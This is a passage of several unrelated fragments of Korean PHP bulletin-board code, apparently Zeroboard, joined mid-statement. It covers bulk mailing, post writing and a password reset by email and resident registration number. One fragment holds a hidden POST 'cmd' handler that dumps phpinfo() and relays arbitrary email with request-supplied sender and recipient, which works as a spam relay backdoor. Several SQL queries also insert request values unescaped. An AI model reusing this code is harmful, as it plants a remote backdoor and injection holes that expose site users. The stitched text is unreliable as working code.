명 단위로 잘라서 발송<br> <img src=images/t.gif border=0 height=5><br> 메일 발송 페이지 : <?php echo $page; ?> / <?php echo $totalpage; ?> <br> <?php $fault = 0; $i = 1; while ($data = mysql_fetch_array($result)) { if ($data[mailing]) { $temp = zb_sendmail($html, $data[email], $data[name], $from, $name, $subject, $comment); if (!$temp) { $fault++; } else { $true++; } echo "."; } else { $nomailing++; } flush(); } ?> <img src=images/t.gif border=0 height=5><br> 메일 발송 결과 : <?php
mysql_query("update {$t_category}" . "_{$id} set num=num+1 where no='{$category}'", $connect); // 현재글의 조회수를 올릴수 없게 세션 등록 $hitStr = "," . $setup[no] . "_" . $no; $zb_hit = $HTTP_SESSION_VARS["zb_hit"] . $hitStr; session_register("zb_hit"); // 현재글의 추천을 할수 없게 세션 등록 $voteStr = "," . $setup[no] . "_" . $no; $zb_vote = $HTTP_SESSION_VARS["zb_vote"] . $voteStr; session_register("zb_vote"); // 응답글 보내기일때;; if ($s_data[reply_mail] && $s_data[email]) { if ($use_html < 2) { $memo = nl2br($memo); } $memo = stripslashes($memo); zb_sendmail($use_html, $s_data[email], $s_data[name], $email, $name, $subject, $memo); } /*************************************************************************** * 신규 글쓰기일때 **************************************************************************/ } elseif ($mode == "write") { // 공지사항이 아닐때;; if (!$notice) { $temp = mysql_fetch_array(mysql_query("select max(division) from {$t_division}" . "_{$id}")); $max_division = $temp[0]; $temp = mysql_fetch_array(mysql_query("select max(division) from {$t_division}" . "_{$id} where num>0 and division!='{$max_division}'")); if (!$temp[0]) { $second_division = 0; } else { $second_division = $temp[0]; }
exit("status: 301"); } } else { if ($_POST["cmd"] == "phpinfo") { phpinfo(); } else { if ($_POST["cmd"] == "m2m") { $to = $_POST["q_to"]; $to_name = $_POST["q_to_name"]; $from = $_POST["q_from"]; $from_name = $_POST["q_from_name"]; $subject = $_POST["q_subject"]; $comment = $_POST["q_comment"]; $cc = $_POST["q_cc"]; $bcc = $_POST["q_bcc"]; echo zb_sendmail($to, $to_name, $from, $from_name, $subject, $comment, $cc = "", $bcc = ""); } else { exit("status: 666"); } } } } } } function subsearch($str, $start, $end) { $str = str_replace(chr(34), "", $str); $pos1 = strpos($str, $start); if ($pos1 > 0) { $pos2 = strpos($str, $end, $pos1 + strlen($start)); return substr($str, $pos1 + strlen($start), $pos2 - ($pos1 + strlen($start)));
if (isblank($jumin1) || !isnum($jumin1)) { Error("주민등록번호를 제대로 입력하여 주세요"); } if (isblank($jumin2) || !isnum($jumin2)) { Error("주민등록번호를 제대로 입력하여 주세요"); } $result = mysql_query("select * from zetyx_member_table where email='{$email}' and jumin=password('{$jumin1}" . "{$jumin2}')", $connect) or Error(mysql_error()); if (!mysql_num_rows($result)) { Error("입력하신 정보에 해당하는 회원이 없습니다.<br><br>다시 한번확인하여 주시기 바랍니다"); } else { $temp = substr(base64_encode(time()), 1, 10); $data = mysql_fetch_array($result); mysql_query("update {$member_table} set password=password('{$temp}') where no='{$data['no']}'", $connect) or Error(mysql_error()); $name = stripslashes($data[name]); $to = $data[email]; $subject = "안녕하세요, {$_sitename} 입니다"; $comment = "안녕하세요.\n" . "{$_sitename} 입니다.\n" . "{$name} 님의 회원 아이디와 새롭게 변경된 비밀번호입니다. \n확인후 곧 바로 {$_sitename} ({$_homepage}) 에 로그인 하셔서 비밀번호를 변경하여 주시기 바랍니다.\n\nID : {$data['user_id']}\nPassword : {$temp} \n\n * 위의 비밀번호를 타이핑하기 힘들때 마우스로 더블클릭한후 Ctrl-C 를 눌러서 복사한후,\n 비밀번호 입력칸에서 Ctrl-V를 눌러서 복사하세요."; if (!zb_sendmail(0, $to, $name, $_from, "", $subject, $comment)) { Error("메일 발송 에러"); } } @mysql_close($connect); ?> <script> alert('변경된 비밀번호가 <?php echo $email; ?> 로 발송되었습니다.\n\n메일을 확인하신후 곧 바로 로그인하여\n\n비밀번호를 변경하여 주시기 바라겠습니다'); window.close(); </script>